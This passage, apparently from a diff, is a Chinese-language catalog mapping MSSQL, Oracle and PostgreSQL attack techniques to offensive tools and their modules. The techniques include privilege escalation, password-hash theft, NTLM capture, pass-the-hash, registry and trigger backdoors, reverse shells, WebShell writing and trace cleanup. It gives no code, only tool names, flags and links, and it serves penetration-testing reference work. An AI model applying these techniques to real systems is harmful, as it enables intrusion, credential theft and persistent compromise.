**武器化状态** | **已实现** | +| **对应函数** | `Create-SQLFileXpDll` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet | + +### 2.3 权限提升类 + +#### 2.3.1 Impersonation 权限提升 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用不安全的Impersonation配置获取权限提升。SQLRecon支持在所有支持Impersonation的模块中模拟指定用户执行操作。 | +| **涉及工具** | PowerUpSQL、SQLRecon | +| **武器化状态** | **已实现** | +| **出处(PowerUpSQL)** | https://github.com/NetSPI/PowerUpSQL/wiki/Attacking-Insecure-Impersonation-Configurations | +| **出处(SQLRecon)** | https://github.com/skahwah/SQLRecon/wiki/4.-Impersonation-Modules | + +#### 2.3.2 Trustworthy 数据库权限提升 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用标记为TRUSTWORTHY的数据库进行权限提升,从普通数据库用户获取sysadmin权限。 | +| **涉及工具** | MSDAT、PowerUpSQL | +| **武器化状态** | **已实现** | +| **出处(MSDAT)** | https://github.com/quentinhardy/msdat | +| **出处(PowerUpSQL)** | https://github.com/NetSPI/PowerUpSQL/wiki/Attacking-Trustworthy-Databases | + +#### 2.3.3 本地管理员到 sysadmin + +| 属性 | 描述 | +|------|------| +| **描述** | 利用本地管理员权限模拟SQL Server服务账户,从而获得sysadmin权限。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Invoke-SQLImpersonateService` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Primary-Attack-Functions | + +#### 2.3.4 GodPotato 提权 (EfsPotato/BadPotato) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Windows NTLM中继和SeImpersonatePrivilege特权实现从服务账户到SYSTEM的提权。GodPotato相比原版JuicyPotato更稳定且支持更多Windows版本。SharpSQLTools支持EfsPotato和BadPotato两种提权方式。 | +| **涉及工具** | MDUT-Extend、SharpSQLTools | +| **武器化状态** | **已实现** | +| **目标平台** | Windows (需SeImpersonatePrivilege) | +| **出处** | MDUT-Extend: https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0; SharpSQLTools: https://github.com/uknowsec/SharpSQLTools | + +#### 2.3.5 自动权限提升 (综合) + +| 属性 | 描述 | +|------|------| +| **描述** | 自动识别配置弱点并尝试获取sysadmin权限。综合多种提权技术(Impersonation、Trustworthy等)。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Invoke-SQLEscalatePriv` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Primary-Attack-Functions | + +### 2.4 文件操作类 + +#### 2.4.1 文件上传/下载 + +| 属性 | 描述 | +|------|------| +| **描述** | 在MSSQL服务器上进行文件上传和下载。支持OLE Automation、bulkinsert、openrowset等多种方法。SharpSQLTools支持使用OLE Automation上传下载文件。 | +| **涉及工具** | MDUT、MSDAT、SharpSQLTools、Sylas | +| **武器化状态** | **已实现** | +| **出处汇总** | MDUT: https://github.com/SafeGroceryStore/MDUT; MSDAT: https://github.com/quentinhardy/msdat; SharpSQLTools: https://github.com/uknowsec/SharpSQLTools; Sylas: https://github.com/Ryze-T/Sylas | + +#### 2.4.2 WebShell 写入 (LOG备份/差异备份) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过LOG备份方式或差异备份方式向MSSQL服务器写入WebShell。 | +| **涉及工具** | Sylas | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/Ryze-T/Sylas | + +### 2.5 链接服务器与横向移动类 + +#### 2.5.1 链接服务器爬取 (Linked Server Crawling) + +| 属性 | 描述 | +|------|------| +| **描述** | 递归遍历所有可访问的链接服务器路径,枚举SQL Server版本和链接配置权限。支持在链接服务器上执行任意SQL查询(包括xp_cmdshell和xp_dirtree)。可导出Neo4j图形进行可视化。SQLRecon支持链接服务器链攻击(如SQL01 -> SQL02 -> PAYMENTS01)。 | +| **涉及工具** | PowerUpSQL、SQLRecon | +| **武器化状态** | **已实现** | +| **对应函数** | PowerUpSQL: `Get-SQLServerLinkCrawl`; SQLRecon: Linked Chain模块 | +| **出处(PowerUpSQL)** | https://github.com/NetSPI/PowerUpSQL、https://www.netspi.com/blog/technical-blog/network-pentesting/sql-server-link-crawling-powerupsql/ | +| **出处(SQLRecon)** | https://github.com/skahwah/SQLRecon/wiki/6.-Linked-Chain-Modules | + +#### 2.5.2 远程SQL请求执行 (Link Hopping) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过目标数据库作为跳板,对另一个远程MSSQL服务器执行SQL查询。支持bulkinsert和openrowset方法。 | +| **涉及工具** | MSDAT | +| **武器化状态** | **已实现** | +| **对应模块** | `bulkopen` (`--request-rdb`) | +| **出处** | https://github.com/quentinhardy/msdat | + +### 2.6 凭据窃取与密码恢复类 + +#### 2.6.1 密码哈希提取 + +| 属性 | 描述 | +|------|------| +| **描述** | 从MSSQL数据库中提取登录密码哈希值。支持所有MSSQL版本(2000/2005/2008/2014/2016/2019)。PowerUpSQL支持通过`-migrate`开关进行本地管理员权限提升后提取。 | +| **涉及工具** | MSDAT、PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应模块/函数** | MSDAT: `passwordstealer`; PowerUpSQL: `Get-SQLServerPasswordHash` | +| **出处** | https://github.com/quentinhardy/msdat、https://github.com/NetSPI/PowerUpSQL | + +#### 2.6.2 SMB认证捕获 / UNC路径注入 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过诱导数据库服务器连接攻击者控制的SMB共享/UNC路径,捕获NetNTLMv2哈希。支持多种触发方式:bulkinsert、openrowset、xp_dirtree、xp_fileexist、xp_getfiledetails。PowerUpSQL的`Invoke-SQLUncPathInjection`可自动完成从SPN查询到哈希捕获的完整流程。 | +| **涉及工具** | MSDAT、PowerUpSQL、SQLRecon | +| **武器化状态** | **已实现** | +| **出处汇总** | MSDAT: https://github.com/quentinhardy/msdat; PowerUpSQL: https://github.com/NetSPI/PowerUpSQL/wiki/Password-Recovery-Functions; SQLRecon: https://github.com/skahwah/SQLRecon | + +#### 2.6.3 Windows自动登录密码获取 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过`xp_regread`从注册表中获取Windows自动登录密码。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Get-SQLRecoverPwAutoLogon` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Password-Recovery-Functions | + +#### 2.6.4 Agent Job凭据劫持 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Agent Jobs进行域权限提升,劫持SQL Server凭据。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation | + +#### 2.6.5 ADSI凭据获取 + +| 属性 | 描述 | +|------|------| +| **描述** | 从链接的ADSI服务器获取明文凭据。通过上传自定义CLR assembly包含LDAP服务器到SQL Server运行时,利用Agent Jobs将ADSI连接凭据导向本地LDAP服务器获取明文。 | +| **涉及工具** | SQLRecon | +| **武器化状态** | **已实现** | +| **对应模块** | `Adsi` | +| **出处** | https://github.com/skahwah/SQLRecon/blob/main/README.md | +| **技术博客** | https://www.ibm.com/think/x-force/databases-beware-abusing-microsoft-sql-server-with-sqlrecon | + +#### 2.6.6 Pass-the-Hash 认证 + +| 属性 | 描述 | +|------|------| +| **描述** | 使用NT哈希(Pass-the-Hash)通过原始TDS/NTLM进行认证,不需要明文密码或提升权限(不需要SeImpersonate)。 | +| **涉及工具** | SQLRecon | +| **武器化状态** | **已实现** (v4.0新增) | +| **对应参数** | `/a:pth` + `/hash:NT_HASH` | +| **出处** | https://github.com/skahwah/SQLRecon/blob/main/README.md | + +### 2.7 持久化类 + +#### 2.7.1 注册表Run键持久化 + +| 属性 | 描述 | +|------|------| +| **描述** | 使用`xp_regwrite`过程设置可执行文件在用户登录时自动运行。写入`HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Get-SQLPersistRegRun` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Persistence-Functions | + +#### 2.7.2 注册表Debugger后门 (IFEO) + +| 属性 | 描述 | +|------|------| +| **描述** | 使用`xp_regwrite`为指定可执行文件配置调试器后门(Image File Execution Options),在被调用时运行另一个可执行文件。常用于创建RDP后门(如utilman.exe调用cmd.exe)。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Get-SQLPersistRegDebugger` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Persistence-Functions | + +#### 2.7.3 DDL触发器持久化 + +| 属性 | 描述 | +|------|------| +| **描述** | 使用SQL Server DDL事件触发器创建Windows系统后门。支持通过xp_cmdshell执行任意命令、添加本地OS管理员或添加SQL Server sysadmin。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Get-SQLPersistTriggerDDL` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Persistence-Functions | + +#### 2.7.4 启动存储过程持久化 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用SQL Server启动存储过程实现持久化。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **实验性** | +| **出处** | https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ | + +### 2.8 SCCM攻击模块 (SQLRecon) + +| 属性 | 描述 | +|------|------| +| **描述** | SQLRecon提供15+个专门针对SCCM/ECM数据库的攻击模块,包括:用户枚举、站点枚举、客户端登录信息、加密凭据获取、任务序列获取与解密、凭据解密、管理员权限提升/移除、脚本数据获取、CI数据获取等。 | +| **涉及工具** | SQLRecon | +| **武器化状态** | **已实现** | +| **目标数据库** | MSSQL (SCCM/ECM数据库) | +| **出处** | https://github.com/skahwah/SQLRecon/blob/main/README.md | +| **Wiki** | https://github.com/skahwah/SQLRecon/wiki/7.-SCCM-Modules | + +### 2.9 Azure SQL 支持 (SQLRecon) + +| 属性 | 描述 | +|------|------| +| **描述** | SQLRecon v4.0+支持Azure SQL Database的认证和操作,包括EntraID认证和Azure本地认证。 | +| **涉及工具** | SQLRecon | +| **武器化状态** | **已实现** | +| **对应参数** | `/a:entraid`、`/a:azurelocal` | +| **出处** | https://github.com/skahwah/SQLRecon/blob/main/README.md | + +### 2.10 凭据暴力破解 (enumdb) + +| 属性 | 描述 | +|------|------| +| **描述** | 对MSSQL进行凭据暴力破解(支持CIDR范围)、数据库/表/列枚举、关键词敏感数据搜索、数据Dump提取为CSV/XLSX、交互式SQL Shell。 | +| **涉及工具** | enumdb | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/m8sec/enumdb | + +### 2.11 端口扫描 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用openrowset通过数据库服务器进行端口扫描,探测内网其他主机的端口开放状态。支持单端口、多端口和端口范围扫描。 | +| **涉及工具** | MSDAT | +| **武器化状态** | **已实现** | +| **对应模块** | `bulkopen` (`--scan-ports`) | +| **出处** | https://github.com/quentinhardy/msdat | + +### 2.12 SQL注入检测与利用 (sqlmap) + +| 属性 | 描述 | +|------|------| +| **描述** | sqlmap支持对MSSQL的完整SQL注入检测与利用,包括5种注入技术、数据库指纹识别、用户/密码哈希/权限枚举、全库数据Dump、文件读写、xp_cmdshell命令执行、OS Shell、Meterpreter会话、SMB反射攻击、Windows注册表访问等。 | +| **涉及工具** | sqlmap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/sqlmapproject/sqlmap/wiki/Features | + +### 2.13 配置操作模块 (SQLRecon) + +| 属性 | 描述 | +|------|------| +| **描述** | SQLRecon支持启用/禁用多种MSSQL功能组件:RPC、CLR、OLE Automation、xp_cmdshell。 | +| **涉及工具** | SQLRecon | +| **武器化状态** | **已实现** | +| **对应模块** | `EnableRpc`/`DisableRpc`、`EnableClr`/`DisableClr`、`EnableOle`/`DisableOle`、`EnableXp`/`DisableXp` | +| **出处** | https://github.com/skahwah/SQLRecon | + +--- + +## 三、Oracle 攻击手法 + +> 涉及工具:MDUT、MDUT-Extend、ODAT、Sylas、sqlmap + +### 3.1 信息收集/枚举类 + +#### 3.1.1 SID枚举 (SID Enumeration) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过多种方式枚举Oracle数据库的有效SID,包括字典攻击、暴力破解和TNS Listener ALIAS枚举。利用cx_Oracle连接时返回的不同错误码区分有效SID和无效SID。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `sidguesser` | +| **出处** | https://github.com/quentinhardy/odat/wiki/sidguesser | + +#### 3.1.2 Service Name枚举 (Service Name Enumeration) + +| 属性 | 描述 | +|------|------| +| **描述** | 枚举Oracle数据库的有效Service Name,类似于SID枚举但针对Service Name。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** (v5.0+) | +| **对应模块** | `snguesser` | +| **出处** | https://github.com/quentinhardy/odat/wiki/Home | + +#### 3.1.3 TNS信息收集 (TNS Listener Reconnaissance) + +| 属性 | 描述 | +|------|------| +| **描述** | 无需认证即可与TNS Listener通信,获取数据库别名、版本号和状态信息。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `tnscmd` | +| **出处** | https://github.com/quentinhardy/odat/wiki/tnscmd | + +#### 3.1.4 数据库信息收集与列名搜索 + +| 属性 | 描述 | +|------|------| +| **描述** | 获取数据库实例的基本信息(版本、表结构等),搜索可能包含敏感信息(如密码)的列名。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `search` | +| **出处** | https://github.com/quentinhardy/odat/wiki/search | + +### 3.2 认证攻击类 + +#### 3.2.1 凭证爆破 (Credential Brute-force) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过字典攻击暴力破解Oracle数据库账户的用户名和密码。支持单文件模式、双文件模式、密码喷洒模式、用户名作为密码模式。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `passwordguesser` | +| **出处** | https://github.com/quentinhardy/odat/wiki/passwordguesser | + +#### 3.2.2 用户名作为密码测试 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用已认证会话获取所有Oracle用户名列表,然后尝试用用户名本身(大小写)作为密码登录。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `userlikepwd` | +| **出处** | https://github.com/quentinhardy/odat/wiki/userlikepwd | + +### 3.3 命令执行类 + +#### 3.3.1 Java存储过程命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过Oracle的Java存储过程功能上传并执行Java代码,实现命令执行。MDUT使用JAVA Util导入方式和ShellUtil工具类;ODAT的`java`模块支持`--exec`、`--shell`、`--reverse-shell`等模式。 | +| **涉及工具** | MDUT、ODAT | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT | +| **出处(ODAT)** | https://github.com/quentinhardy/odat/wiki/java | + +#### 3.3.2 DBMS_SCHEDULER命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle DBMS_SCHEDULER包创建类型为'EXECUTABLE'的调度作业,在数据库服务器上执行操作系统命令。支持`--exec`(无回显)、`--reverse-shell`(反向TCP Shell)、`--make-download`(PowerShell下载)。 | +| **涉及工具** | ODAT、Sylas | +| **武器化状态** | **已实现** | +| **对应模块** | ODAT: `dbmsscheduler`; Sylas: DBMS_SCHEDULER命令执行(无回显) | +| **出处(ODAT)** | https://github.com/quentinhardy/odat/wiki/dbmsscheduler | +| **出处(Sylas)** | https://github.com/Ryze-T/Sylas | + +#### 3.3.3 DBMS_XMLQUERY命令执行 (回显) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过DBMS_XMLQUERY执行系统命令,可获取回显。 | +| **涉及工具** | Sylas | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/Ryze-T/Sylas | + +#### 3.3.4 External Table命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle外部表功能执行操作系统命令或程序。创建指向操作系统文件或程序的外部表,通过SELECT操作触发执行。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `externaltable` | +| **出处** | https://github.com/quentinhardy/odat/wiki/externaltable | + +#### 3.3.5 ORADBG调试接口命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle调试功能(oradbg接口)执行操作系统命令。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `oradbg` | +| **出处** | https://github.com/quentinhardy/odat/wiki/oradbg | + +#### 3.3.6 反弹Shell + +| 属性 | 描述 | +|------|------| +| **描述** | 通过Oracle Java存储过程实现反弹Shell功能。 | +| **涉及工具** | MDUT | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/SafeGroceryStore/MDUT | + +### 3.4 文件操作类 + +#### 3.4.1 UTL_FILE 文件读/写/删除 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle UTL_FILE包进行文件的读取、写入和删除操作。使用UTL_FILE.FOPEN/GET_LINE读取、UTL_FILE.PUT_LINE写入、UTL_FILE.FREMOVE删除。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `utlfile` | +| **出处** | https://github.com/quentinhardy/odat/wiki/utlfile | + +#### 3.4.2 CTXSYS文件读取 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle CTXSYS.DRITHSX.SN功能读取文件。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `ctxsys` | +| **出处** | https://github.com/quentinhardy/odat/wiki/ctxsys | + +#### 3.4.3 DBMS_XSLPROCESSOR文件上传/下载 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle DBMS_XSLPROCESSOR包进行文件上传和下载。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `dbmsxslprocessor` | +| **出处** | https://github.com/quentinhardy/odat/wiki/dbmsxslprocessor | + +#### 3.4.4 DBMS_ADVISOR文件上传 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle DBMS_ADVISOR包上传文件到数据库服务器。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `dbmsadvisor` | +| **出处** | https://github.com/quentinhardy/odat/wiki/dbmsadvisor | + +#### 3.4.5 DBMS_LOB文件下载 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle DBMS_LOB包读取文件(使用BFILE)。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `dbmslob` | +| **出处** | https://github.com/quentinhardy/odat/wiki/dbmslob | + +#### 3.4.6 文件管理 (MDUT/Sylas) + +| 属性 | 描述 | +|------|------| +| **描述** | 支持Oracle服务器的文件上传、下载和管理。MDUT-Extend v1.3.0新增大文件分块上传和下载功能,解决ORA-24345等错误。Sylas支持文件查看、获取数据库目录、文件上传。 | +| **涉及工具** | MDUT、MDUT-Extend、Sylas | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT | +| **出处(MDUT-Extend)** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0 | +| **出处(Sylas)** | https://github.com/Ryze-T/Sylas | + +### 3.5 权限提升类 + +#### 3.5.1 CREATE ANY PROCEDURE 提权 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CREATE ANY PROCEDURE系统权限提升至DBA或SYS权限。在APEX模式下创建存储过程,利用其高权限执行任意SQL。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `privesc --dba-with-create-any-procedure` | +| **出处** | https://github.com/quentinhardy/odat/wiki/privesc | + +#### 3.5.2 CREATE/EXECUTE ANY PROCEDURE 提权 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CREATE PROCEDURE和EXECUTE ANY PROCEDURE权限以SYS身份执行任意SQL。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `privesc --dba-with-execute-any-procedure` | +| **出处** | https://github.com/quentinhardy/odat/wiki/privesc | + +#### 3.5.3 CREATE ANY TRIGGER 提权 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CREATE ANY TRIGGER和CREATE PROCEDURE权限以SYS身份执行任意SQL。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `privesc --dba-with-create-any-trigger` | +| **出处** | https://github.com/quentinhardy/odat/wiki/privesc | + +#### 3.5.4 ANALYZE ANY 提权 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用ANALYZE ANY和CREATE PROCEDURE权限以SYS身份执行任意SQL。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `privesc --dba-with-analyze-any` | +| **出处** | https://github.com/quentinhardy/odat/wiki/privesc | + +#### 3.5.5 CREATE ANY INDEX 提权 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CREATE ANY INDEX和CREATE PROCEDURE权限以SYS身份执行任意SQL。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `privesc --dba-with-create-any-index` | +| **出处** | https://github.com/quentinhardy/odat/wiki/privesc | + +### 3.6 网络操作类 + +#### 3.6.1 HTTP请求发送与端口扫描 (UTL_HTTP) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle UTL_HTTP包从数据库服务器发送HTTP请求,可用于端口扫描和内网探测。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `utlhttp` | +| **出处** | https://github.com/quentinhardy/odat/wiki/utlhttp | + +#### 3.6.2 HTTP请求发送 (HttpUriType) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle HttpUriType对象发送HTTP GET请求和端口扫描。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `httpuritype` | +| **出处** | https://github.com/quentinhardy/odat | + +#### 3.6.3 TCP端口扫描 (UTL_TCP) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Oracle UTL_TCP包进行TCP端口扫描和原始TCP包发送。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `utltcp` | +| **出处** | https://github.com/quentinhardy/odat/wiki/utltcp | + +### 3.7 密码哈希提取类 + +#### 3.7.1 密码哈希提取 (Password Hash Dumping) + +| 属性 | 描述 | +|------|------| +| **描述** | 从Oracle数据库中提取用户密码哈希值,支持多种提取方法:直接从SYS.USER$或DBA_USERS表读取、通过DBMS_METADATA.GET_DDL导出、利用DBMS_STATS包获取、利用ORACLE_OCM视图间接获取(CVE-2020-2984)。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `passwordstealer` | +| **出处** | https://github.com/quentinhardy/odat/wiki/passwordstealer | + +### 3.8 CVE漏洞利用类 + +#### 3.8.1 TNS投毒 (CVE-2012-1675) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CVE-2012-1675进行TNS Listener投毒攻击,通过向TNS Listener注册恶意数据库实例,将合法用户的连接重定向到攻击者控制的代理服务器,实现中间人攻击和会话劫持。 | +| **CVE编号** | CVE-2012-1675 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `tnspoison` | +| **出处** | https://github.com/quentinhardy/odat/wiki/tnspoison | + +#### 3.8.2 会话密钥嗅探 (CVE-2012-3137) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CVE-2012-3137通过网络嗅探获取Oracle认证会话密钥和盐值,进而通过字典攻击破解密码。需在本地网络接口嗅探TNS认证流量。 | +| **CVE编号** | CVE-2012-3137 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `stealremotepwds` | +| **目标版本** | Oracle 11g (需root权限) | +| **出处** | https://github.com/quentinhardy/odat/wiki/stealremotepwds | + +#### 3.8.3 XQuery漏洞 (CVE-2014-4237) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CVE-2014-4237使仅有SELECT权限的用户可以修改其有SELECT权限的任何表。Oracle XQuery存在漏洞,允许绕过ALTER权限检查。 | +| **CVE编号** | CVE-2014-4237 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `cve --set-pwd-2014-4237` | +| **出处** | https://github.com/quentinhardy/odat/wiki/cve | + +#### 3.8.4 JVM安全绕过 (CVE-2018-3004) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CVE-2018-3004绕过Oracle JVM安全限制,实现任意文件写入。 | +| **CVE编号** | CVE-2018-3004 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `cve --cve-2018-3004`、`java --create-file-CVE-2018-3004` | +| **出处** | https://github.com/quentinhardy/odat/wiki/cve | + +#### 3.8.5 ORACLE_OCM间接密码获取 (CVE-2020-2984) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CVE-2020-2984通过ORACLE_OCM视图间接获取密码哈希。 | +| **CVE编号** | CVE-2020-2984 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `passwordstealer --get-passwords-ocm` | +| **出处** | https://github.com/quentinhardy/odat/wiki/passwordstealer | + +### 3.9 SMB认证捕获 + +| 属性 | 描述 | +|------|------| +| **描述** | 诱导Oracle数据库服务器向攻击者控制的SMB服务器发起认证请求,捕获SMB/NTLM哈希。需目标为Windows且Oracle服务不能运行在网络服务/系统/本地服务账户下。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `smb --capture` | +| **出处** | https://github.com/quentinhardy/odat/wiki/smb | + +### 3.10 PL/SQL解包装 (PL/SQL Unwrapping) + +| 属性 | 描述 | +|------|------| +| **描述** | 反编译Oracle数据库中被加密的(wrapped) PL/SQL源代码。逆向Oracle的PL/SQL包装算法,还原原始源代码。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `unwrapper` | +| **出处** | https://github.com/quentinhardy/odat/wiki/unwrapper | + +### 3.11 表数据转储与SQL Shell + +| 属性 | 描述 | +|------|------| +| **描述** | 导出数据库表中的数据到本地文件(CSV/XLSX格式);获取交互式SQL shell直接执行SQL查询。 | +| **涉及工具** | ODAT | +| **武器化状态** | **已实现** | +| **对应模块** | `search --dump`、`search --sql-shell` | +| **出处** | https://github.com/quentinhardy/odat | + +### 3.12 SQL注入检测与利用 (sqlmap) + +| 属性 | 描述 | +|------|------| +| **描述** | sqlmap支持对Oracle的完整SQL注入检测与利用,包括5种注入技术、数据库指纹识别、用户/密码哈希/权限枚举、全库数据Dump、文件读写等。 | +| **涉及工具** | sqlmap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/sqlmapproject/sqlmap/wiki/Features | + +### 3.13 痕迹清理 + +| 属性 | 描述 | +|------|------| +| **描述** | 清理Oracle数据库中创建的Java存储过程和函数。 | +| **涉及工具** | MDUT | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/SafeGroceryStore/MDUT | + +### 3.14 Windows快速信息收集 (Sylas) + +| 属性 | 描述 | +|------|------| +| **描述** | 提供四个快速执行功能:进程信息、用户枚举、补丁信息、系统版本。 | +| **涉及工具** | Sylas | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/Ryze-T/Sylas | + +--- + +## 四、PostgreSQL 攻击手法 + +> 涉及工具:MDUT、MDUT-Extend、Sylas、sqlmap + +### 4.1 UDF提权 (Windows) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过上传自定义UDF库到PostgreSQL实现Windows平台提权。 | +| **目标平台** | Windows | +| **涉及工具** | MDUT | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/SafeGroceryStore/MDUT | + +### 4.2 COPY FROM PROGRAM 命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过PostgreSQL的`COPY ... FROM PROGRAM`语法执行系统命令。PostgreSQL 9.3+支持。Sylas支持通过PostgreSQL执行系统命令。 | +| **目标版本** | PostgreSQL 9.3+ | +| **涉及工具** | MDUT、Sylas、sqlmap | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT | +| **出处(Sylas)** | https://github.com/Ryze-T/Sylas | +| **出处(sqlmap)** | https://github.com/sqlmapproject/sqlmap | + +### 4.3 文件读取 (CVE方式) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过PostgreSQL的CVE漏洞方式实现文件读取功能。MDUT-Extend v1.2.0新增。 | +| **涉及工具** | MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.2.0 | + +### 4.4 文件读写 (sqlmap/MDUT/Sylas) + +| 属性 | 描述 | +|------|------| +| **描述** | sqlmap支持PostgreSQL的文件读取和写入;MDUT和MDUT-Extend支持PostgreSQL文件管理;Sylas支持使用`pg_read_file()`读取文件、`COPY`命令写入文件。 | +| **涉及工具** | MDUT、MDUT-Extend、Sylas、sqlmap | +| **武器化状态** | **已实现** | +| **出处** | 多工具支持 | + +### 4.5 UDF注入命令执行 (sqlmap) + +| 属性 | 描述 | +|------|------| +| **描述** | sqlmap通过注入自定义用户定义函数(UDF)执行任意命令并检索标准输出。 | +| **涉及工具** | sqlmap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/sqlmapproject/sqlmap/wiki/Features | + +### 4.6 OS Shell 与 OAST攻击 (sqlmap) + +| 属性 | 描述 | +|------|------| +| **描述** | sqlmap支持通过PostgreSQL获取交互式OS Shell、带外TCP连接(Meterpreter/VNC)、DNS外泄攻击、Metasploit Shellcode内存执行。 | +| **涉及工具** | sqlmap | +| **武器化状态** | **已实现** | +| **出处** | 